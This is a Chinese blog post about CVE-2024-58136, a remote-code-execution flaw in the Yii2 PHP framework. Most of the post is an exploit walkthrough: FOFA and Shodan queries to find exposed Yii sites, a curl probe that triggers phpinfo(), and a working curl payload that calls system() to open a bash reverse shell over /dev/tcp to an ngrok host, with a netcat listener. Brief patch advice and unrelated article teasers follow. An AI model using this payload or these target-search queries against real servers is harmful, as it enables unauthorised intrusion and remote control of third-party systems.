当前位置:首页 > 技术知识 > 正文内容

CVE-2024-58136漏洞, 一条CURL命令实现Yii2 PHP 框架 RCE

maynowei19小时前技术知识4

CVE-2024-58136是Yii2 PHP 框架中的一个高危远程代码执行 (RCE)漏洞。该漏洞源于密钥验证不当,允许攻击者使用受控参数实例化任意 PHP 类,从而导致 RCE。

本文演示了如何在实际应用程序中发现此漏洞,如何获取 Recevese Shell 和缓解措施。

CVE-2024-58136 的根本原因

参考:
https://attackerkb.com/topics/U2DdokjYhB/cve-2024-58136/rapid7-analysis


CVE-2024-58136 — RCE PoC利用

发现目标

1. FOFA 查询

title= “yii” || title = “X-Powered-By: Yii”

2. Shodan查询

在 Shodan 中使用它:

http.headers:“X-Powered-By: Yii”

3.PoC漏洞

步骤 1:phpinfo() 测试确认 RCE

curl -k -X POST https://target/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'

检查响应是否包含phpinfo()PHP Version等,探测是否有此漏洞。

步骤2:反向Shell载荷

设置和监听器

nc  -lvnp  9999

CVE-2024-58136 — RCE PoC

curl -k -X POST https://sub.domain.tld/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/9999 0>&1'\''"}}'


补丁

  • 将 Yii2 升级到2.0.52或更高版本
  • 添加服务器端 WAF 来阻止行为键__classas例如on
  • 避免接受来自不受信任的客户端的原始 JSON。

相关文章

出售闲置原型素材来赚钱,上传作品,即可收上万元收入

出售闲置原型素材来赚钱。产品经理每年设计出大量的原型作品和组件、元件库、交互原型模板等作品,如果项目结束,你的原型就失去了作用,而有需求的人却找不到这样的作品。现在我们发现这样一家元件库、原型模板、素...

msf系列篇章之七模块详解,黑客必学

1、 mestasploit有很多模块,一共分为七类那如果是kali中自带的msf,它默认的安装路径是在这里。,然后可以看见它这些模块有些相对应的目录。1)、exploits漏洞利用模块,这个模块通常...

2018年度回顾:挖矿木马为什么会成为病毒木马黑产的中坚力量

一、概述根据腾讯御见威胁情报中心监测数据,2018年挖矿木马样本月产生数量在百万级别,且上半年呈现快速增长趋势,下半年上涨趋势有所减缓。由于挖矿的收益可以通过数字加密货币系统结算,使黑色产业变现链条十...

高考一词多义考点! 30个高频词汇,完形填空再也不怕啦

1. address·/a'dres/ v.处理(问题)We must address the issue of climate change.·/'aedres/ n.地址Pleas...

Android之自定义ListView(一)(android 自定义view绘制流程)

PS:自定义View是Android中高手进阶的路线.因此我也打算一步一步的学习.看了鸿洋和郭霖这两位大牛的博客,决定一步一步的学习,循序渐进.学习内容:1.自定义View实现ListView的Ite...

Android让视图折叠(安卓叠加视图设置)

Android UI Libs之ExpandableLayout1. 说明ExpandableLayout,顾名思义,可扩展的布局,是一个可以帮助我们实现折叠功能的第三方库,折叠时,只显示头部,打开时...